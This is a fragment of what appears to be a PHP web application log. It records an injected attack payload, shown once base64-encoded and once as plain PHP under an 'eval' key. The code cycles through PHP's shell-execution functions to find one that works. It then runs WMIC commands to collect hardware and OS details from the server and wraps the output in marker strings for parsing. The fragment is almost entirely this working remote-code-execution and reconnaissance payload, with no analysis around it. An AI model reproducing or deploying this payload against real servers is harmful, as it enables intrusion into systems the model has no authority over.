'CmZ1bmN0aW9uIGV4ZWN1dGUoJGNtZCwgJGZuKXsKICAgICRvdXRwdXQgPSAiIjsKICAgIHN3aXRjaCAoJGZuKSB7CiAgICAgICAgY2FzZSAnZXhlYyc6CiAgICAgICAgICAgICRvdXRwdXRfbGluZXMgPSBhcnJheSgpOwogICAgICAgICAgICBleGVjKCRjbWQsICRvdXRwdXRfbGluZSk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvdXRwdXRfbGluZSBhcyAkbGluZSkgJG91dHB1dCAuPSAkbGluZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzaGVsbF9leGVjJzoKICAgICAgICAgICAgJG91dHB1dCAuPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcm9jX29wZW4nOgogICAgICAgICAgICAkZGVzY3JpcHRvcnMgPSBhcnJheSgKICAgICAgICAgICAgICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAgICAgICAgICAgICAyID0+IGFycmF5KCJwaXBlIiwgInciKQogICAgICAgICAgICApOwogICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnMsICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncG9wZW4nOgogICAgICAgICAgICAkcGggPSBwb3BlbigkY21kLCAncicpOwogICAgICAgICAgICB3aGlsZSgkbyA9IGZnZXRzKCRwaCkpICRvdXRwdXQgLj0gJG87CiAgICAgICAgICAgIHBjbG9zZSgkcGgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdzeXN0ZW0nOgogICAgICAgICAgICAkb3V0cHV0IC49IHN5c3RlbSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3RocnUnOgogICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICByZXR1cm4gJG91dHB1dDsKfQpmdW5jdGlvbiBnZXRfZXhlY3V0YWJsZV9mbigpewogICAgJHNpZ25hbCA9ICJScEpkOGZGdSI7CiAgICAkY21kID0gImVjaG8gIi4kc2lnbmFsOwogICAgZm9yZWFjaCAoYXJyYXkoImV4ZWMiLCAic2hlbGxfZXhlYyIsICJwcm9jX29wZW4iLCAicG9wZW4iLCAic3lzdGVtIikgYXMgJGV4ZWNfZnVuY3Rpb24pIHsKICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGV4ZWNfZnVuY3Rpb24pICYmIHN0cnBvcyhleGVjdXRlKCRjbWQsICRleGVjX2Z1bmN0aW9uKSwgJHNpZ25hbCkgIT09IGZhbHNlKSByZXR1cm4gJGV4ZWNfZnVuY3Rpb247CiAgICB9CiAgICByZXR1cm4gJ3Bhc3N0aHJ1JzsKfQoKZnVuY3Rpb24gcnVuKCRjbWQpewogICAgcmV0dXJuIGV4ZWN1dGUoJGNtZCwgZ2V0X2V4ZWN1dGFibGVfZm4oKSk7Cn0KCmVjaG8gc3RycmV2KCIzVXFJVW1oSiIpOwplY2hvIHJ1bigiV01JQyBDUFUgR2V0IE5hbWUsTnVtYmVyT2ZDb3JlcyxOdW1iZXJPZkxvZ2ljYWxQcm9jZXNzb3JzICYgd21pYyBjb21wdXRlcnN5c3RlbSBnZXQgbW9kZWwsbmFtZSxtYW51ZmFjdHVyZXIsc3lzdGVtdHlwZSAmIHdtaWMgb3MgZ2V0IExhc3RCb290VXBUaW1lIik7CmVjaG8gc3RycmV2KCI5czN2d1g5NyIpOwpkaWUoKTsK', 'eval' => ' function execute($cmd, $fn){ $output = ""; switch ($fn) { case \'exec\': $output_lines = array(); exec($cmd, $output_line); foreach ($output_line as $line) $output .= $line."\\n"; break; case \'shell_exec\': $output .= shell_exec($cmd); break; case \'proc_open\': $descriptors = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptors, $pipes, $cwd); $output .= stream_get_contents($pipes[1]); fclose($pipes[1]); break; case \'popen\': $ph = popen($cmd, \'r\'); while($o = fgets($ph)) $output .= $o; pclose($ph); break; case \'system\': $output .= system($cmd); break; case \'passthru\': passthru($cmd); break; } return $output; } function get_executable_fn(){ $signal = "RpJd8fFu"; $cmd = "echo ".$signal; foreach (array("exec", "shell_exec", "proc_open", "popen", "system") as $exec_function) { if(function_exists($exec_function) && strpos(execute($cmd, $exec_function), $signal) !== false) return $exec_function; } return \'passthru\'; } function run($cmd){ return execute($cmd, get_executable_fn()); } echo strrev("3UqIUmhJ"); echo run("WMIC CPU Get Name,NumberOfCores,NumberOfLogicalProcessors & wmic computersystem get model,name,manufacturer,systemtype & wmic os get LastBootUpTime"); echo strrev("9s3vwX97"); die(); ', ) [ info ] [ LOG ] INIT File